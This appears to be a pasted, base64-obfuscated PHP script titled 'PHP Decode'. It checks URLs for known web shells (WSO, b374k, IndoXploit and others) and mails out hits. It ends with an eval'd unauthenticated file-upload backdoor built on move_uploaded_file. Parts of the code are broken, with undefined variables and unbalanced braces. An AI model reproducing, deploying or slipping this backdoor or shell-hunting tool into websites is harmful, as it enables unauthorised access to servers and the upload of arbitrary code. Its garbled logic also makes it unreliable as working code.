PHP Decode

<?php error_reporting(0);set_time_limit(0);date_default_timezone_set(base64_decode('QXNpYS9KYWthcnRh'));error_reporting(0);$c0=$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];$l1=$_SERVER[base64_decode('SFRUUF9IT1NU')];$b2=isset($_REQUEST[base64_decode('c2Jt')]);$p5=preg_match_all(base64_decode('JV4oKGh0dHA6Ly8pfChodHRwczovLykpJQ=='),$z4);if($p5):$d6=$z4;else:$d6=base64_decode('aHR0cDovLw==').$z4;endif;$x7=[base64_decode('cHVibGljX2h0bWw='),base64_decode('d3d3'),base64_decode('R0lGODlh'),base64_decode('UGFzc3dvcmQ='),base64_decode('U3VibWl0'),base64_decode('VXBsb2Fk'),base64_decode('RGlzYWJsZSBGdW5jdGlvbg=='),base64_decode('U2hlbGw='),base64_decode('V1NP'),base64_decode('YjM3NGs='),base64_decode('UHJpdjg='),base64_decode('VG9vbA=='),base64_decode('SW5kb1hwbG9pdA=='),base64_decode('S2Vpc2F0c3U='),base64_decode('U01QIFN1bg=='),base64_decode('U01QIE1vbg=='),base64_decode('U01QIFR1ZQ=='),base64_decode('U01QIFdlZA=='),base64_decode('U01QIFRodQ=='),base64_decode('U01QIEZyaQ=='),base64_decode('U01QIFNhdA=='),base64_decode('U2FmZSBtb2Rl'),base64_decode('U3ltbGluaw=='),base64_decode('V2luZG93cw=='),base64_decode('TGludXg='),base64_decode('QlNE'),base64_decode('VVRD')];$l8=base64_decode('Lyg=').implode(base64_decode('fA=='),$x7).base64_decode('KS9p');$i9=date(base64_decode('WS1tLWQgSDppOnM='));$ka=(strtotime($i9)*1000);$eb="$uc=fopen(base64_decode('cGhwOi8vdGVtcA=='),base64_decode('cis='));$bd=curl_init();curl_setopt($bd,CURLOPT_TIMEOUT,base64_decode('MTA='));curl_setopt($bd,CURLOPT_USERAGENT,base64_decode('TW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBRdFdlYkVuZ2luZS81LjEzLjEgQ2hyb21lLzczLjAuMzY4My4xMDUgU2FmYXJpLzUzNy4zNg=='));curl_setopt($bd,CURLOPT_URL,"$z4");curl_setopt($bd,CURLOPT_HEADER,true);curl_setopt($bd,CURLOPT_RETURNTRANSFER,true);curl_setopt($bd,CURLOPT_VERBOSE,true);curl_setopt($bd,CURLOPT_STDERR,$uc);curl_setopt($bd,CURLOPT_FOLLOWLOCATION,true);$ae=curl_exec($bd);$af=curl_getinfo($bd,CURLINFO_HTTP_CODE);$u10=curl_getinfo($bd,CURLINFO_HEADER_SIZE);$u11=substr($ae,0,$u10);$o12=substr($ae,$u10);curl_close($bd);fclose($uc);if(($af==200)&&(preg_match_all("$l8",$o12))){$g13=[base64_decode('ZGF0ZQ==')=>$ka,base64_decode('dXJs')=>$d6,base64_decode('c3RhdHVz')=>1];$y14="$l1$c0\n$i9\n\n$d6";mail($k3,$eb,$g13);}else{$g13=[base64_decode('ZGF0ZQ==')=>$ka,base64_decode('dXJs')=>$d6,base64_decode('c3RhdHVz')=>0];echo json_encode($g13);}}else{?><?php eval(base64_decode("bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwJ11bJ3RtcF9uYW1lJ10sICcnLmJhc2VuYW1lKCAkX0ZJTEVTWyd1cCddWyduYW1lJ10pKTs="));?>